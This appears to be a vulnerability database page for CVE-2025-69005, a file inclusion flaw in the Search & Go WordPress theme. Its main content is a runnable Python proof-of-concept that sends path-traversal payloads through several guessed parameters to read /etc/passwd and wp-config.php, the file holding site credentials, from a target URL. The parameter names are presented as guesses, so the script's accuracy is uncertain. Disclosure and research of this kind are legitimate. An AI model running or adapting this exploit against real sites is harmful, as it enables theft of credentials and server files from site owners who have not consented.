CVE-2025-69005

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Elated-Themes Search & Go search-and-go allows PHP Local File Inclusion.This issue affects Search & Go: from n/a through <= 2.8.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Search & Go Theme <= 2.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-69005 PoC - Search & Go LFI Vulnerability
# Target: WordPress site using Search & Go theme <= 2.8

import requests
import sys

def exploit_lfi(target_url, filename='/etc/passwd'):
    """
    Exploit local file inclusion vulnerability in Search & Go theme
    """
    # Common vulnerable parameters in Search & Go theme
    vulnerable_params = ['page', 'file', 'template', 'theme_page']
    
    for param in vulnerable_params:
        # Path traversal payload
        payload = f'../../../../../../{filename}'
        
        try:
            response = requests.get(
                target_url,
                params={param: payload},
                timeout=10,
                verify=False
            )
            
            # Check if file content was returned
            if response.status_code == 200:
                if any(marker in response.text for marker in ['root:', 'daemon:', filename.split('/')[-1]]):
                    print(f'[+] LFI Success with parameter: {param}')
                    print(f'[+] File: {filename}')
                    print('-' * 50)
                    print(response.text[:500])
                    return True
        except requests.RequestException as e:
            print(f'[-] Request failed: {e}')
    
    return False

# Example: Read wp-config.php
if __name__ == '__main__':
    if len(sys.argv) > 1:
        target = sys.argv[1]
        exploit_lfi(target, 'wp-config.php')
        exploit_lfi(target, '/etc/passwd')
    else:
        print('Usage: python cve-2025-69005.py <target_url>')

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-69005
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-69005
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-69005/
[4] VulDB https://vuldb.com/cve/CVE-2025-69005
[5] https://patchstack.com/database/Wordpress/Theme/search-and-go/vulnerability/wordpress-search-go-theme-2-8-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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